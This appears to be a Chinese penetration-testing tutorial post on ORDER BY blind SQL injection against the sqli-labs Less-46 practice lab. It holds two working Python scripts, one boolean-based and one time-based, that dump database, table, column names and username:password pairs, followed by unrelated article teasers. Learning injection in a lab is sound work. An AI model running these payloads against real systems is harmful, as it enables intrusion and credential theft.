渗透测试【order by盲注实践】

embedded/2025/2/27 5:44:27/

实践环境基于sqli-lab靶场的第46关进行

bool盲注

代码如下:

import requests
from bs4 import BeautifulSoup# 定义获取用户名的函数,使用 BeautifulSoup 解析 HTML 页面,提取用户名信息
def get_username(resp):soup = BeautifulSoup(resp, 'html.parser')try:# 选择页面中指定位置的元素获取用户名username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].textreturn usernameexcept IndexError:# 若未找到对应元素,返回 Nonereturn None# 定义布尔盲注的通用函数,可用于获取不同类型的信息(数据库名、表名、列名、数据等)
def boolean_blind_injection(query_template):result = ''position = 1while True:left = 32right = 127while left < right:mid = (left + right) // 2# 根据传入的查询模板和当前位置、中间字符值构造注入 URLurl = query_template.format(pos=position, mid=mid)try:# 发送 GET 请求获取页面响应resp = requests.get(url)# 调用 get_username 函数获取用户名username = get_username(resp.text)if username == 'Dumb':# 若用户名是 'Dumb',说明条件成立,更新左边界left = mid + 1else:# 否则更新右边界right = midexcept requests.RequestException as e:# 处理请求异常print(f"Request error: {e}")breakif left == 32:# 若左边界为 32,说明已经获取完所有信息,退出循环breakresult += chr(left)position += 1print(result)return resultif __name__ == '__main__':# 数据库名注入的查询模板database_query = "http://localhost:8989/Less-46/index.php?sort=if(ascii(substr(database(),{pos},1))>{mid},id,username) -- "# 表名注入的查询模板table_query = "http://localhost:8989/Less-46/index.php?sort=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{pos},1))>{mid},id,username) -- "# 列名注入的查询模板column_query = "http://localhost:8989/Less-46/index.php?sort=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{pos},1))>{mid},id,username) -- "# 数据注入的查询模板data_query = "http://localhost:8989/Less-46/index.php?sort=if(ascii(substr((select group_concat(username,':',password) from users),{pos},1))>{mid},id,username) -- "# 调用 boolean_blind_injection 函数进行数据库名注入boolean_blind_injection(database_query)# 调用 boolean_blind_injection 函数进行表名注入# boolean_blind_injection(table_query)# 调用 boolean_blind_injection 函数进行列名注入# boolean_blind_injection(column_query)# 调用 boolean_blind_injection 函数进行数据注入#boolean_blind_injection(data_query)

时间盲注

代码如下:

import requests
import time# 配置参数
SLEEP_TIME = 3  # 每次注入的延时秒数
THRESHOLD = 1.5  # 响应时间判断阈值
TIMEOUT = SLEEP_TIME + 2  # 请求超时时间def time_injection(query_template):result = ""pos = 1session = requests.Session()while True:low, high = 32, 126current_char = Nonewhile low <= high:mid = (low + high) // 2payload = query_template.format(pos=pos,mid=mid,sleep=SLEEP_TIME)try:start = time.time()session.get(payload, timeout=TIMEOUT)cost = time.time() - startif cost > THRESHOLD:  # 条件成立low = mid + 1else:high = mid - 1except requests.exceptions.Timeout:low = mid + 1  # 超时视为条件成立except Exception as e:print(f"请求错误: {e}")break# 检查有效字符if high >= 32 and high <= 126:result += chr(high)print(f"[*] 当前结果: {result}")pos += 1else:breakreturn resultif __name__ == '__main__':# 定义注入模板(注意统一参数顺序)templates = {'数据库': "http://localhost:8989/Less-46/index.php?sort=IF(ASCII(SUBSTR(database(),{pos},1))>{mid},SLEEP({sleep}),0)",'表名': "http://localhost:8989/Less-46/index.php?sort=IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),{pos},1))>{mid},SLEEP({sleep}),0)",'列名': "http://localhost:8989/Less-46/index.php?sort=IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'),{pos},1))>{mid},SLEEP({sleep}),0)",'数据': "http://localhost:8989/Less-46/index.php?sort=IF(ASCII(SUBSTR((SELECT GROUP_CONCAT(username,0x7e,password) FROM users),{pos},1))>{mid},SLEEP({sleep}),0)"}for name, template in templates.items():print(f"\n[+] 正在爆破 {name}...")data = time_injection(template)print(f"[+] {name} 结果: {data}\n")


http://www.ppmy.cn/embedded/167459.html

相关文章

HarmonyOS 无线调试

下载sdk 找到hdc位置> C:\Users\27638\AppData\Local\OpenHarmony\Sdk\14\toolchains 不要去DevEco Studio的窗口不知道为什么调不动 hdc tconn IP:PORT

DeepSeek 提示词:基础结构

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;精通Java编…

Arm 将自己制造芯片

众所周知&#xff0c;几乎任何目前市面上的手机芯片都是arm公司设计的&#xff0c;这家公司只设计CPU&#xff0c;由苹果、三星、英伟达等厂家再自行生产移动端CPU。 2025年这家英国芯片设计巨头宣布&#xff1a; Arm 将不再只是自己设计芯片&#xff0c;它将自己制造芯片&…

【Python爬虫(69)】解锁游戏数据宝藏:Python爬虫实战攻略

【Python爬虫】专栏简介&#xff1a;本专栏是 Python 爬虫领域的集大成之作&#xff0c;共 100 章节。从 Python 基础语法、爬虫入门知识讲起&#xff0c;深入探讨反爬虫、多线程、分布式等进阶技术。以大量实例为支撑&#xff0c;覆盖网页、图片、音频等各类数据爬取&#xff…

198.打家劫舍

class Solution:def rob(self, nums: List[int]) -> int:dp [0]*(len(nums)) # 盗窃前i间能取得的最高金额if len(nums) 0:return 0if len(nums) 1:return nums[0]dp[0] nums[0]dp[1] max(nums[0],nums[1])for i in range(2,len(nums)):dp[i] max(dp[i-1],dp[i-2]nums[…

物联网+大数据,智慧公租房管理系统构建未来社区

传统的公租房管理模式效率低下&#xff0c;物联网和大数据技术的快速发展&#xff0c;为公租房管理模式提供了新的解决方案 物联网技术通过传感器、射频识别&#xff08;RFID&#xff09;、智能设备等手段&#xff0c;将公租房社区内的各种设施、设备、人员连接起来&#xff0…

显式指定 ChromeDriver 路径

‌1️⃣ 显式指定 ChromeDriver 路径‌ 在代码中直接传递驱动路径&#xff0c;绕过 Selenium Manager 的自动检测&#xff1a; pythonCopy Code from selenium import webdriver from selenium.webdriver.chrome.service import Service# 指定 ChromeDriver 绝对路径&#xf…

ZCC5050是一款高性能的高侧 OR-ing FET 控制器替代LM5050

一 产品概述 ZCC5050-1 是一款高性能的高侧 OR-ing FET 控制器&#xff0c;适用于冗余电源系统。它通过 外部 N 沟道 MOSFET 实现理想的二极管整流功能&#xff0c;可显著降低传统二极管整流器带来的功率损耗和电压 降。ZCC5050-1 提供了快速的电流反转响应能力&#xff0c;能够…